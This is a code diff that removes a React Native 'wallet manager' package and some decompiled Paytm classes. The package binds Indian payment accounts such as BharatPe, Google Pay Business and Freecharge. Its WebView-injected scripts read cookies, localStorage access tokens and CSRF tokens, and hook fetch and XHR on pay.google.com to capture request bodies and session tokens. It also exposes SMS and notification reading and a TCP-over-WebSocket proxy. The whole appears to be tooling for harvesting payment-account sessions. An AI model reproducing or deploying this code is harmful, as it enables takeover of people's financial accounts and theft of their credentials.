final TcpOverWebSocketClient client = new TcpOverWebSocketClient(wsUrl, host, port, messageId);
new Thread(new Runnable() {
@Override
public void run() {
client.start();
}
}).start();
promise.resolve(true);
} catch (Exception e) {
Log.e(TAG, "启动代理失败", e);
promise.reject("START_PROXY_ERROR", e.getMessage(), e);
}
}
}

View File

@@ -1,8 +0,0 @@
package net.one97.paytm.upi.transaction.common.models;
import java.io.Serializable;
/* loaded from: classes.dex */
public abstract class a0 implements Serializable {
private static final long serialVersionUID = 3744706392290925551L;
}

View File

@@ -1,7 +0,0 @@
package net.one97.paytm.upi.transaction.common.models;
/* loaded from: classes.dex */
public class o extends t {
public static o INSTANCE = new o();
private static final long serialVersionUID = 2038457052099164746L;
}

View File

@@ -1,8 +0,0 @@
package net.one97.paytm.upi.transaction.common.models;
import java.io.Serializable;
/* loaded from: classes.dex */
public abstract class t implements Serializable {
private static final long serialVersionUID = 1973796336737578214L;
}

View File

@@ -1,7 +0,0 @@
package net.one97.paytm.upi.transaction.common.models;
/* loaded from: classes.dex */
public class v extends a0 {
public static v INSTANCE = new v();
private static final long serialVersionUID = -5916830127381874761L;
}

View File

@@ -1,8 +0,0 @@
export const Errors = {
notImplementedError : "not implemented",
featureNotImplementedError : "feature not implemented",
invalidParamsError : "invalid params",
apiFailedError : "api request failed",
walletNotFoundError : "wallet not found",
orderNotFoundError : "order not found",
}

219
rnwalletman/index.d.ts vendored
View File

@@ -1,219 +0,0 @@
import { ComponentType } from 'react';
export enum WalletType {
PAYTM_BUSINESS = 'paytm business',
PHONEPE_BUSINESS = 'phonepe business',
GOOGLEPAY_BUSINESS = 'googlepay business',
BHARATPE_BUSINESS = 'bharatpe business',
PAYTM_PERSONAL = 'paytm',
PHONEPE_PERSONAL = 'phonepe',
GOOGLEPAY_PERSONAL = 'googlepay',
BHARATPE_PERSONAL = 'bharatpe',
FREECHARGE_PERSONAL = 'freecharge',
MOBIKWIK_PERSONAL = 'mobikwik',
}
export interface BaseBindResult {
success: boolean;
type: WalletType;
}
export interface PaytmBusinessBindResult extends BaseBindResult {
type: WalletType.PAYTM_BUSINESS;
cookie: string;
xCsrfToken: string;
contextData?: string;
qrData?: string;
}
export interface PhonePeBusinessBindResult extends BaseBindResult {
type: WalletType.PHONEPE_BUSINESS;
cookie: string;
xCsrfToken: string;
fingerprint: string;
qrData?: string;
userAToken: string;
userRToken: string;
userInfo?: string;
}
export interface GooglePayMerchantInfo {
channelUid: string;
merchantName: string;
merchantDisplayName: string;
phone: string;
upiIds: Array<{
id: string;
accountId: string;
type: 'Primary' | 'Pocket' | 'Stock';
}>;
categoryCode: string;
categoryDescription: string;
gstin: string;
ownerName: string;
}
export interface GooglePayBusinessBindResult extends BaseBindResult {
type: WalletType.GOOGLEPAY_BUSINESS;
url: string;
body: string;
cookie: string;
channelUid: string;
openUrl: string;
merchantInfo?: GooglePayMerchantInfo;
}
export interface BharatPeBusinessBindResult extends BaseBindResult {
type: WalletType.BHARATPE_BUSINESS;
cookie: string;
accessToken: string;
merchantId: string;
userName: string;
email?: string;
mobile?: string;
qrUrl?: string;
}
export interface ProfileDetail {
lrnDetails?: {
liteOnboardEligible: boolean;
};
mobileMapperStatus?: string;
pspToOnboard?: string[];
primaryVpa: string;
mobile: number;
accountDetails: Array<{
bank: string;
ifsc: string;
accRefId: string;
maskedAccountNumber: string;
accountType: string;
name: string;
mpinSet: string;
last4digits: string;
}>;
}
export interface PaytmPersonalBindResult extends BaseBindResult {
type: WalletType.PAYTM_PERSONAL;
mobile: string;
token: string;
userId: string;
profileDetail: ProfileDetail;
}
export interface MobikwikPersonalBindResult extends BaseBindResult {
type: WalletType.MOBIKWIK_PERSONAL;
mobile: string;
token: string;
hashId: string;
deviceId: string;
}
export interface FreechargeVPA {
vpa: string;
status: 'PRIMARY' | 'SECONDARY';
}
export interface FreechargePersonalBindResult extends BaseBindResult {
type: WalletType.FREECHARGE_PERSONAL;
mobile: string;
token: string;
imsId: string;
userId: string;
deviceId: string;
vpas?: FreechargeVPA[];
csrfId?: string;
}
export type BindResult =
| PaytmBusinessBindResult
| PhonePeBusinessBindResult
| GooglePayBusinessBindResult
| BharatPeBusinessBindResult
| PaytmPersonalBindResult
| MobikwikPersonalBindResult
| FreechargePersonalBindResult;
interface BindProps<T extends BindResult> {
processString?: string;
isDebug?: boolean;
onRequestOTP?: (walletType: WalletType, params: any) => Promise<any>;
onVerifyOTP?: (walletType: WalletType, params: any) => Promise<any>;
onSuccess?: (result: T) => void;
onError?: (error: string) => void;
}
interface MobikwikPersonalBindProps<T extends BindResult> {
processString?: string;
isDebug?: boolean;
deviceId: string;
tuneUserId: string;
onRequestOTP?: (walletType: WalletType, params: any) => Promise<any>;
onVerifyOTP?: (walletType: WalletType, params: any) => Promise<any>;
onSuccess?: (result: T) => void;
onError?: (error: string) => void;
}
export const PaytmBusinessBind: ComponentType<BindProps<PaytmBusinessBindResult>>;
export const PhonePeBusinessBind: ComponentType<BindProps<PhonePeBusinessBindResult>>;
export const GooglePayBusinessBind: ComponentType<BindProps<GooglePayBusinessBindResult>>;
export const BharatPeBusinessBind: ComponentType<BindProps<BharatPeBusinessBindResult>>;
export const PaytmPersonalBind: ComponentType<BindProps<PaytmPersonalBindResult>>;
export const MobikwikPersonalBind: ComponentType<MobikwikPersonalBindProps<MobikwikPersonalBindResult>>;
export const FreechargePersonalBind: ComponentType<BindProps<FreechargePersonalBindResult>>;
export function paytmPay(
amount: string,
payeeName: string,
accountNo: string,
ifscCode: string,
comments: string
): Promise<boolean>;
export interface SmsMessage {
id: string;
address: string;
body: string;
timestamp: number;
type: number;
read: boolean;
}
export interface NotificationMessage {
id: string;
packageName: string;
tag: string | null;
postTime: number;
title: string;
text: string;
bigText: string;
}
import { EmitterSubscription } from 'react-native';
export function checkSmsPermission(): Promise<boolean>;
export function requestSmsPermission(): Promise<boolean>;
export function checkNotificationPermission(): Promise<boolean>;
export function openNotificationSettings(): Promise<void>;
export function startSmsListener(): Promise<void>;
export function stopSmsListener(): Promise<void>;
export function startNotificationListener(): Promise<void>;
export function stopNotificationListener(): Promise<void>;
export function onSmsMessage(callback: (message: SmsMessage) => void): EmitterSubscription;
export function onNotificationMessage(callback: (notification: NotificationMessage) => void): EmitterSubscription;
export function getAllSms(limit?: number): Promise<SmsMessage[]>;
export function getAllNotifications(): Promise<NotificationMessage[]>;
// TCP Proxy
export interface TcpProxyConfig {
wsUrl: string;
host: string;
port: number;
messageId: string;
}
export function startTcpProxy(config: TcpProxyConfig): Promise<boolean>;

View File

@@ -1,33 +0,0 @@
/**
* React Native Metro bundler 会自动处理 TypeScript
* 这个文件只是为了让 package.json 的 main 字段能找到入口
* Metro 会优先查找 .ts/.tsx 文件
*/
export { PaytmBusinessBind } from './src/PaytmBusinessBind';
export { PhonePeBusinessBind } from './src/PhonePeBusinessBind';
export { GooglePayBusinessBind } from './src/GooglePayBusinessBind';
export { BharatPeBusinessBind } from './src/BharatPeBusinessBind';
export { PaytmPersonalBind, paytmPay } from './src/PaytmPersonalBind';
export { MobikwikPersonalBind } from './src/MobikwikPersonalBind';
export { FreechargePersonalBind } from './src/FreechargePersonalBind';
export {
checkSmsPermission,
requestSmsPermission,
checkNotificationPermission,
openNotificationSettings,
startSmsListener,
stopSmsListener,
startNotificationListener,
stopNotificationListener,
onSmsMessage,
onNotificationMessage,
getAllSms,
getAllNotifications
} from './src/SmsNotification';
export { Errors } from './errors';
export {
WalletType,
} from './src/types';
// TypeScript types 通过 index.d.ts 提供

View File

@@ -1,41 +0,0 @@
export { PaytmBusinessBind } from './src/PaytmBusinessBind';
export { PhonePeBusinessBind } from './src/PhonePeBusinessBind';
export { GooglePayBusinessBind } from './src/GooglePayBusinessBind';
export { BharatPeBusinessBind } from './src/BharatPeBusinessBind';
export { PaytmPersonalBind, paytmPay } from './src/PaytmPersonalBind';
export { MobikwikPersonalBind } from './src/MobikwikPersonalBind';
export { FreechargePersonalBind } from './src/FreechargePersonalBind';
export {
checkSmsPermission,
requestSmsPermission,
checkNotificationPermission,
openNotificationSettings,
startSmsListener,
stopSmsListener,
startNotificationListener,
stopNotificationListener,
onSmsMessage,
onNotificationMessage,
getAllSms,
getAllNotifications
} from './src/SmsNotification';
export { startTcpProxy, type TcpProxyConfig } from './src/TcpProxy';
export {
WalletType,
type BindResult,
type PaytmBusinessBindResult,
type PhonePeBusinessBindResult,
type GooglePayBusinessBindResult,
type GooglePayMerchantInfo,
type BharatPeBusinessBindResult,
type PaytmPersonalBindResult,
type MobikwikPersonalBindResult,
type FreechargePersonalBindResult,
type FreechargeVPA,
type SmsMessage,
type NotificationMessage,
} from './src/types';
export { Errors } from './errors';

View File

@@ -1,29 +0,0 @@
{
"name": "rnwalletman",
"version": "1.0.0",
"description": "React Native Wallet Manager",
"main": "index.js",
"types": "index.d.ts",
"scripts": {},
"keywords": ["react-native", "wallet", "upi", "webview", "paytm"],
"author": "",
"license": "MIT",
"peerDependencies": {
"react": "*",
"react-native": "*",
"react-native-webview": ">=13.0.0",
"@react-native-cookies/cookies": "*"
},
"peerDependenciesMeta": {
"react-native-webview": {
"optional": false
},
"@react-native-cookies/cookies": {
"optional": false
}
},
"dependencies": {},
"react-native": {
"android": "./android"
}
}

View File

@@ -1,251 +0,0 @@
import React, { useRef } from 'react';
import { View, StyleSheet } from 'react-native';
import WebView from 'react-native-webview';
import { BharatPeBusinessBindResult, WalletType } from './types';
interface Props {
onSuccess: (result: BharatPeBusinessBindResult) => void;
onError: (error: string) => void;
isDebug?: boolean;
}
export const BharatPeBusinessBind: React.FC<Props> = ({ onSuccess, onError, isDebug = false }) => {
const webViewRef = useRef<WebView>(null);
const log = (...args: any[]) => {
if (!isDebug) return;
console.log('[BharatPe]', ...args);
};
const isSuccess = useRef<boolean>(false);
const onSuccessReal = (result: BharatPeBusinessBindResult) => {
if (isSuccess.current) return;
isSuccess.current = true; // 防止重复调用
onSuccess(result);
}
const injectedJS = `
(function() {
// 防止重复执行
if (window.__bharatpe_extracted) {
console.log('Already extracted, skipping...');
return;
}
// 修复 speechSynthesis API关键
if (!window.speechSynthesis) {
window.speechSynthesis = {
speak: function() {},
cancel: function() {},
pause: function() {},
resume: function() {},
getVoices: function() { return []; }
};
}
// 拦截 console
const originalLog = console.log;
const originalError = console.error;
const originalWarn = console.warn;
console.log = function(...args) {
originalLog.apply(console, args);
try {
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'console',
level: 'log',
message: args.map(a => typeof a === 'object' ? JSON.stringify(a) : String(a)).join(' ')
}));
} catch(e) {}
};
console.error = function(...args) {
originalError.apply(console, args);
try {
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'console',
level: 'error',
message: args.map(a => typeof a === 'object' ? JSON.stringify(a) : String(a)).join(' ')
}));
} catch(e) {}
};
console.warn = function(...args) {
originalWarn.apply(console, args);
try {
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'console',
level: 'warn',
message: args.map(a => typeof a === 'object' ? JSON.stringify(a) : String(a)).join(' ')
}));
} catch(e) {}
};
console.log('Console interceptor installed, speechSynthesis fixed');
if (document.readyState !== 'complete') {
console.log('Waiting for page load...');
window.addEventListener('load', extractData);
} else {
console.log('Page already loaded, extracting in 2s...');
setTimeout(extractData, 2000);
}
async function extractData() {
console.log('Extracting USER_INFO from localStorage...');
try {
const userInfoStr = localStorage.getItem('USER_INFO');
console.log('USER_INFO:', userInfoStr);
if (!userInfoStr) {
console.log('USER_INFO not found, user might not be logged in');
return;
}
const userInfo = JSON.parse(userInfoStr);
const cookie = document.cookie;
console.log('Parsed userInfo:', JSON.stringify(userInfo));
console.log('Cookie:', cookie);
const accessToken = userInfo.accessToken || '';
const merchantId = userInfo.merchant_id || '';
// 获取 QR URL
let qrUrl = '';
if (accessToken && merchantId) {
try {
console.log('Fetching QR URL...');
const qrResponse = await fetch('https://payments-tesseract.bharatpe.in/api/merchant/v1/downloadQr?merchantId=' + merchantId, {
method: 'GET',
headers: {
'token': accessToken,
'Accept': 'application/json'
}
});
const qrData = await qrResponse.json();
console.log('QR response:', JSON.stringify(qrData));
if (qrData.status && qrData.data && qrData.data.url) {
qrUrl = qrData.data.url;
console.log('QR URL:', qrUrl);
}
} catch (e) {
console.error('Fetch QR error:', e);
}
}
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'bharatpe_business',
success: true,
cookie: cookie,
accessToken: accessToken,
merchantId: merchantId,
userName: userInfo.userName || '',
email: userInfo.email || '',
mobile: userInfo.mobile || '',
qrUrl: qrUrl
}));
window.__bharatpe_extracted = true;
console.log('Data sent to React Native');
} catch (e) {
console.error('Extract error:', e);
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'error',
message: e.toString()
}));
}
}
})();
true;
`;
const handleMessage = (event: any) => {
try {
const data = JSON.parse(event.nativeEvent.data);
if (data.type === 'console') {
const prefix = data.level === 'error' ? '❌' : data.level === 'warn' ? '⚠️' : '📝';
log(`${prefix} [WebView Console]`, data.message);
return;
}
if (data.type === 'error') {
log('Error from WebView:', data.message);
onError(data.message);
return;
}
if (data.type === 'bharatpe_business' && data.success) {
log('Success! Data received:', data);
onSuccessReal(data as BharatPeBusinessBindResult);
}
} catch (e) {
log('handleMessage error:', e);
onError(e instanceof Error ? e.message : String(e));
}
};
return (
<View style={styles.container}>
<WebView
ref={webViewRef}
source={{ uri: 'https://enterprise.bharatpe.in/' }}
injectedJavaScript={injectedJS}
injectedJavaScriptBeforeContentLoaded={`
if (!window.speechSynthesis) {
window.speechSynthesis = {
speak: function() {},
cancel: function() {},
pause: function() {},
resume: function() {},
getVoices: function() { return []; }
};
}
true;
`}
onMessage={handleMessage}
onLoadStart={() => {
log('Page loading started');
}}
onLoadEnd={() => {
log('Page loaded, injecting JS');
webViewRef.current?.injectJavaScript(injectedJS);
}}
onNavigationStateChange={(navState) => {
log('Navigation changed:', navState.url);
}}
onError={(syntheticEvent) => {
const { nativeEvent } = syntheticEvent;
log('WebView error:', nativeEvent);
}}
onHttpError={(syntheticEvent) => {
const { nativeEvent } = syntheticEvent;
log('HTTP error:', nativeEvent.statusCode, nativeEvent.url);
}}
javaScriptEnabled={true}
domStorageEnabled={true}
thirdPartyCookiesEnabled={true}
sharedCookiesEnabled={true}
javaScriptCanOpenWindowsAutomatically={true}
setSupportMultipleWindows={false}
allowsInlineMediaPlayback={true}
mediaPlaybackRequiresUserAction={false}
originWhitelist={['*']}
mixedContentMode="always"
cacheEnabled={true}
incognito={false}
startInLoadingState={true}
scalesPageToFit={true}
allowsBackForwardNavigationGestures={true}
allowsLinkPreview={false}
/>
</View>
);
};
const styles = StyleSheet.create({
container: {
flex: 1,
},
});

View File

@@ -1,248 +0,0 @@
import React, { useState } from 'react';
import { View, TextInput, TouchableOpacity, Text, StyleSheet, ActivityIndicator } from 'react-native';
import { FreechargePersonalBindResult, WalletType } from './types';
import { Locale, defaultLocale } from './locale';
interface Props {
isDebug: boolean;
onRequestOTP: (walletType: WalletType, params: any) => Promise<any>;
onVerifyOTP: (walletType: WalletType, params: any) => Promise<any>;
processString: string;
onSuccess: (result: FreechargePersonalBindResult) => void;
onError: (error: string) => void;
locale?: Locale;
}
export const FreechargePersonalBind: React.FC<Props> = ({ isDebug, onRequestOTP, onVerifyOTP, processString, onSuccess, onError, locale = defaultLocale }) => {
const [mobile, setMobile] = useState('');
const [otp, setOtp] = useState('');
const [step, setStep] = useState<'mobile' | 'otp' | 'processing' | 'success'>('mobile');
const [loading, setLoading] = useState(false);
const [otpData, setOtpData] = useState<any>(null);
const log = (...args: any[]) => {
if (isDebug) console.log('[Freecharge]', ...args);
};
const error = (...args: any[]) => {
if (isDebug) console.error('[Freecharge]', ...args);
};
const requestOTP = async () => {
if (!mobile || mobile.length !== 10) {
onError(locale.errors.invalidMobile);
return;
}
setLoading(true);
log('Requesting OTP for:', mobile);
try {
const response = await onRequestOTP(WalletType.FREECHARGE_PERSONAL, {
mobile,
});
log('OTP response:', response);
if (response.success) {
setOtpData(response.data);
setStep('otp');
} else {
error('OTP request failed:', response.message);
onError(response.message || locale.errors.otpRequestFailed);
}
} catch (e) {
error('Request OTP error:', e);
onError(e instanceof Error ? e.message : locale.errors.otpRequestFailed);
} finally {
setLoading(false);
}
};
const verifyOTP = async () => {
if (!otp || otp.length !== 4) {
onError(locale.freecharge.invalidOtp);
return;
}
setLoading(true);
setStep('processing');
log('Verifying OTP:', otp);
try {
const response = await onVerifyOTP(WalletType.FREECHARGE_PERSONAL, {
mobile,
otp,
otpId: otpData.otpId,
deviceId: otpData.deviceId,
csrfId: otpData.csrfId,
appFc: otpData.appFc,
});
log('Verify response:', response);
if (response.success) {
onSuccess({
type: WalletType.FREECHARGE_PERSONAL,
success: true,
mobile: response.data.mobile,
token: response.data.token,
imsId: response.data.imsId,
userId: response.data.userId,
deviceId: response.data.deviceId,
vpas: response.data.vpas,
csrfId: response.data.csrfId,
});
setStep('success');
} else {
error('Verify failed:', response.message);
setStep('otp');
onError(response.message || locale.errors.otpVerifyFailed);
}
} catch (e) {
error('Verify OTP error:', e);
setStep('otp');
onError(e instanceof Error ? e.message : locale.errors.otpVerifyFailed);
} finally {
setLoading(false);
}
};
if (step === 'processing') {
return (
<View style={styles.container}>
<ActivityIndicator size="large" color="#fff" />
<Text style={styles.processingText}>{processString || locale.common.processing}</Text>
</View>
);
}
return (
<View style={styles.container}>
<View style={styles.form}>
<Text style={styles.title}>{locale.freecharge.title}</Text>
{step === 'mobile' && (
<>
<TextInput
style={styles.input}
placeholder={locale.freecharge.mobilePlaceholder}
placeholderTextColor="#999"
keyboardType="phone-pad"
maxLength={10}
value={mobile}
onChangeText={setMobile}
editable={!loading}
/>
<TouchableOpacity
style={[styles.button, loading && styles.buttonDisabled]}
onPress={requestOTP}
disabled={loading}
>
{loading ? (
<ActivityIndicator color="#fff" />
) : (
<Text style={styles.buttonText}>{locale.common.requestOTP}</Text>
)}
</TouchableOpacity>
</>
)}
{step === 'otp' && (
<>
<Text style={styles.hint}>{locale.common.otpSentTo.replace('{mobile}', mobile)}</Text>
<TextInput
style={styles.input}
placeholder={locale.freecharge.otpPlaceholder}
placeholderTextColor="#999"
keyboardType="number-pad"
maxLength={4}
value={otp}
onChangeText={setOtp}
editable={!loading}
/>
<TouchableOpacity
style={[styles.button, loading && styles.buttonDisabled]}
onPress={verifyOTP}
disabled={loading}
>
{loading ? (
<ActivityIndicator color="#fff" />
) : (
<Text style={styles.buttonText}>{locale.common.verifyAndBind}</Text>
)}
</TouchableOpacity>
<TouchableOpacity
style={styles.linkButton}
onPress={() => setStep('mobile')}
disabled={loading}
>
<Text style={styles.linkText}>{locale.common.reEnterMobile}</Text>
</TouchableOpacity>
</>
)}
</View>
</View>
);
};
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: 'rgba(0,0,0,0.8)',
justifyContent: 'center',
alignItems: 'center',
},
form: {
width: '80%',
backgroundColor: '#fff',
borderRadius: 10,
padding: 20,
},
title: {
fontSize: 20,
fontWeight: 'bold',
textAlign: 'center',
marginBottom: 20,
},
input: {
borderWidth: 1,
borderColor: '#ddd',
borderRadius: 5,
padding: 12,
fontSize: 16,
marginBottom: 15,
},
button: {
backgroundColor: '#007AFF',
borderRadius: 5,
padding: 15,
alignItems: 'center',
},
buttonDisabled: {
backgroundColor: '#ccc',
},
buttonText: {
color: '#fff',
fontSize: 16,
fontWeight: 'bold',
},
linkButton: {
marginTop: 10,
alignItems: 'center',
},
linkText: {
color: '#007AFF',
fontSize: 14,
},
hint: {
fontSize: 14,
color: '#666',
marginBottom: 10,
textAlign: 'center',
},
processingText: {
color: '#fff',
fontSize: 16,
marginTop: 10,
},
});

View File

@@ -1,697 +0,0 @@
import React, { useRef, useState } from 'react';
import { View, StyleSheet, Text } from 'react-native';
import WebView from 'react-native-webview';
import CookieManager from '@react-native-cookies/cookies';
import { GooglePayBusinessBindResult, WalletType } from './types';
import { Locale, defaultLocale } from './locale';
interface Props {
isDebug: boolean;
processString: string;
onSuccess: (result: GooglePayBusinessBindResult) => void;
onError: (error: string) => void;
locale?: Locale;
}
export const GooglePayBusinessBind: React.FC<Props> = ({ isDebug, processString, onSuccess, onError, locale = defaultLocale }) => {
const webViewRef = useRef<WebView>(null);
const [step, setStep] = useState<'login' | 'extracting'>('login');
const [openUrl, setOpenUrl] = useState('');
const [bodyTxt, setBodyTxt] = useState('');
const [cookieTxt, setCookieTxt] = useState('');
const [urlTxt, setUrlTxt] = useState('');
const chunkBufRef = useRef<Map<string, string[]>>(new Map());
const chunkMetaRef = useRef<Map<string, any>>(new Map());
const hasExtractedRef = useRef(false);
const log = (...args: any[]) => {
if (!isDebug) return;
console.log('[GooglePay]', ...args);
};
const error = (...args: any[]) => {
if (!isDebug) return;
console.error('[GooglePay]', ...args);
};
const warn = (...args: any[]) => {
if (!isDebug) return;
console.warn('[GooglePay]', ...args);
};
const consoleInterceptJS = `
(function() {
const IS_DEBUG = ${isDebug};
const originalLog = console.log;
const originalError = console.error;
const originalWarn = console.warn;
window.log = function(...args) {
if (!IS_DEBUG) return;
originalLog.apply(console, args);
try {
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'console',
level: 'log',
message: args.map(a => typeof a === 'object' ? JSON.stringify(a) : String(a)).join(' ')
}));
} catch(e) {}
};
window.error = function(...args) {
if (!IS_DEBUG) return;
originalError.apply(console, args);
try {
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'console',
level: 'error',
message: args.map(a => typeof a === 'object' ? JSON.stringify(a) : String(a)).join(' ')
}));
} catch(e) {}
};
window.warn = function(...args) {
if (!IS_DEBUG) return;
originalWarn.apply(console, args);
try {
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'console',
level: 'warn',
message: args.map(a => typeof a === 'object' ? JSON.stringify(a) : String(a)).join(' ')
}));
} catch(e) {}
};
})();
true;
`;
const hookJS = `
${consoleInterceptJS}
(function(){
try{
if(window.__G_PAY_HOOK_INSTALLED__) return;
window.__G_PAY_HOOK_INSTALLED__ = true;
var MUST_RPCID = ''; // 不限制 rpcid抓取所有 batchexecute
var MUST_RPCID_LOWER = MUST_RPCID.toLowerCase();
function toAbs(u){
try{ return new URL(u, document.baseURI || location.href).href; }
catch(e){ return ''+u; }
}
function rpcFromUrl(u){
try{
var url = new URL(toAbs(u));
return url.searchParams.get('rpcids') || '';
}catch(e){ return ''; }
}
var RAW_PREFIX = 'https://pay.google.com/g4b/_/SMBConsoleUI/data/batchexecute';
var PREFIX_HOST = '';
var PREFIX_PATH_KEY = 'batchexecute';
try{
var _u = new URL(RAW_PREFIX);
PREFIX_HOST = (_u.hostname || '').toLowerCase();
}catch(e){}
function hitUrl(u){
if(!u) return false;
var abs = toAbs(u) || '';
try{
var url = new URL(abs);
var host = (url.hostname || '').toLowerCase();
var path = (url.pathname || '').toLowerCase();
if(PREFIX_HOST && host.indexOf(PREFIX_HOST) === -1) return false;
if(path.indexOf(PREFIX_PATH_KEY) === -1) return false;
var rpc = url.searchParams.get('rpcids') || '';
if(MUST_RPCID && rpc.toLowerCase() !== MUST_RPCID_LOWER) return false;
return true;
}catch(e){
var lowerAbs = abs.toLowerCase();
if(lowerAbs.indexOf(PREFIX_PATH_KEY) === -1) return false;
if(MUST_RPCID && lowerAbs.indexOf('rpcids='+MUST_RPCID_LOWER) === -1) return false;
return true;
}
}
function decAB(ab){
try{ return new TextDecoder('utf-8').decode(ab); }
catch(e){ return null; }
}
function anyToText(x){
try{
if(!x) return null;
if(typeof x === 'string') return x;
if(x instanceof URLSearchParams) return x.toString();
if(window.FormData && x instanceof FormData) return new Response(x).text();
if(x instanceof Blob) return x.text();
if(x instanceof ArrayBuffer) return decAB(x);
if(x && x.buffer && x.buffer instanceof ArrayBuffer) return decAB(x.buffer);
if(typeof x === 'object') return JSON.stringify(x);
}catch(e){}
return null;
}
function send(d){
try{
window.ReactNativeWebView.postMessage(JSON.stringify(d));
}catch(e){}
}
function sendChunked(base){
var s = base.body || '';
var MAX = 180000;
if(typeof s !== 'string'){
try{ s = JSON.stringify(s); }
catch(e){ s = ''+s; }
}
if(s.length <= MAX){
base.pageUrl = location.href;
base.rpcid = rpcFromUrl(base.url || '');
send(base);
return;
}
var id = String(Date.now()) + Math.random();
var tot = Math.ceil(s.length / MAX);
for(var i = 0; i < tot; i++){
var part = s.slice(i*MAX, (i+1)*MAX);
send({
__chunk__: true,
id: id,
idx: i,
total: tot,
meta: {
url: base.url,
method: base.method,
channel: base.channel,
pageUrl: location.href,
rpcid: rpcFromUrl(base.url || '')
},
body: part
});
}
}
// Hook fetch
if(window.fetch){
var _fetch = window.fetch;
window.fetch = function(input, init){
var req = (input instanceof Request) ? input : new Request(input, init || {});
var abs = toAbs(req.url);
// 调试:记录所有 fetch 请求
if(abs.indexOf('batchexecute') !== -1) {
log('[GooglePay] Detected batchexecute request:', abs);
}
if(!hitUrl(abs)) return _fetch(req);
log('[GooglePay] ✅ Hit target URL, intercepting:', abs);
function finalize(txt){
log('[GooglePay] Sending intercepted data, body length:', txt ? txt.length : 0);
sendChunked({
type: 'JS_INTERCEPT',
channel: 'fetch',
url: abs,
method: (req.method || 'GET'),
body: txt
});
return _fetch(req);
}
try{
req.clone().arrayBuffer().then(function(ab){
var t = decAB(ab);
if(t === null){
req.clone().text().then(finalize).catch(function(){ finalize(null); });
}else{
finalize(t);
}
});
}catch(e){
var m = init && init.body ? anyToText(init.body) : null;
if(m && m.then) m.then(finalize);
else finalize(m);
}
return _fetch(req);
};
}
// Hook XHR
var _open = XMLHttpRequest.prototype.open;
var _send = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.open = function(m, u){
try{ this.__u_abs = toAbs(u); }
catch(e){ this.__u_abs = u; }
this.__m = m;
return _open.apply(this, arguments);
};
XMLHttpRequest.prototype.send = function(b){
var self = this;
var abs = this.__u_abs || '';
// 调试:记录所有 XHR 请求
if(abs.indexOf('batchexecute') !== -1) {
log('[GooglePay] Detected XHR batchexecute request:', abs);
}
if(!hitUrl(abs)) return _send.apply(this, arguments);
log('[GooglePay] ✅ Hit target URL (XHR), intercepting:', abs);
function done(txt){
log('[GooglePay] Sending intercepted XHR data, body length:', txt ? txt.length : 0);
sendChunked({
type: 'JS_INTERCEPT',
channel: 'xhr',
url: abs,
method: (self.__m || 'POST'),
body: txt
});
return _send.apply(self, arguments);
}
var maybe = anyToText(b);
if(maybe && maybe.then) maybe.then(done);
else done(maybe);
};
// 页面 URL 监听
function notifyPage(){
try{
window.ReactNativeWebView.postMessage(JSON.stringify({
type: 'PAGE_URL',
pageUrl: location.href
}));
}catch(e){}
}
var _push = history.pushState;
var _replace = history.replaceState;
history.pushState = function(){ _push.apply(this, arguments); notifyPage(); };
history.replaceState = function(){ _replace.apply(this, arguments); notifyPage(); };
window.addEventListener('hashchange', notifyPage, false);
notifyPage();
log('[GooglePay] Hook installed');
}catch(e){
error('[GooglePay] Hook error:', e);
}
})();
true;
`;
const handleMessage = (event: any) => {
try {
const data = JSON.parse(event.nativeEvent.data);
// 转发 WebView console
if (data.type === 'console') {
const prefix = '[WebView]';
if (data.level === 'error') {
error(prefix, data.message);
} else if (data.level === 'warn') {
warn(prefix, data.message);
} else {
log(prefix, data.message);
}
return;
}
// 页面 URL 更新
if (data.type === 'PAGE_URL') {
const pageUrl = data.pageUrl || '';
if (pageUrl) {
setOpenUrl(pageUrl);
log('PAGE_URL 更新:', pageUrl);
}
return;
}
// 分片数据
if (data.__chunk__) {
handleChunkData(data);
return;
}
// 完整数据
if (data.type === 'JS_INTERCEPT') {
handleCompleteData(data);
}
} catch (e) {
error('Parse message error:', e);
}
};
const handleChunkData = (data: any) => {
const { id, idx, total, body, meta } = data;
if (!id) return;
const chunks = chunkBufRef.current.get(id) || [];
chunks[idx] = body || '';
chunkBufRef.current.set(id, chunks);
if (meta) {
chunkMetaRef.current.set(id, meta);
}
log(`收到分片 ${idx + 1}/${total} (ID: ${id})`);
// 检查是否收齐
if (idx >= 0 && total > 0 && idx + 1 === total) {
const fullChunks = chunkBufRef.current.get(id) || [];
const fullMeta = chunkMetaRef.current.get(id);
chunkBufRef.current.delete(id);
chunkMetaRef.current.delete(id);
const fullBody = fullChunks.join('');
const url = fullMeta?.url || '';
const pageUrl = fullMeta?.pageUrl || '';
setUrlTxt(url);
setBodyTxt(fullBody);
setCookieTxt(''); // Cookie 需要从 native 获取
log('✅ 完整分片收齐');
log(' URL:', url);
log(' Body 长度:', fullBody.length);
log(' PageURL:', pageUrl);
// 自动提取
autoExtract(url, fullBody, pageUrl);
}
};
const handleCompleteData = (data: any) => {
const { url, body, pageUrl } = data;
if (url) setUrlTxt(url);
if (body) setBodyTxt(body);
if (pageUrl) setOpenUrl(pageUrl);
log('✅ 命中固定地址 (JS 层)');
log(' URL:', url);
log(' Body 长度:', body?.length || 0);
log(' PageURL:', pageUrl);
// 自动提取
autoExtract(url, body, pageUrl);
};
const autoExtract = async (url: string, body: string, pageUrl: string) => {
if (hasExtractedRef.current) {
log('已提取过数据,忽略');
return;
}
if (!url || !body) {
warn('数据不完整,等待更多数据');
return;
}
hasExtractedRef.current = true;
setStep('extracting');
const channelUid = pageUrl?.split('/').pop() || '';
log('提取的 channelUid:', channelUid);
// 获取 Cookie
let cookie = '';
try {
const cookies = await CookieManager.get('https://pay.google.com');
const cookieStr = Object.entries(cookies)
.map(([name, cookie]) => `${name}=${cookie.value}`)
.join('; ');
cookie = cookieStr;
log('获取到 Cookie 长度:', cookie.length);
} catch (e) {
error('获取 Cookie 失败:', e);
}
// 提取 at token 和 f.sid
const atMatch = body.match(/at=([^&]+)/);
const atToken = atMatch ? decodeURIComponent(atMatch[1]) : '';
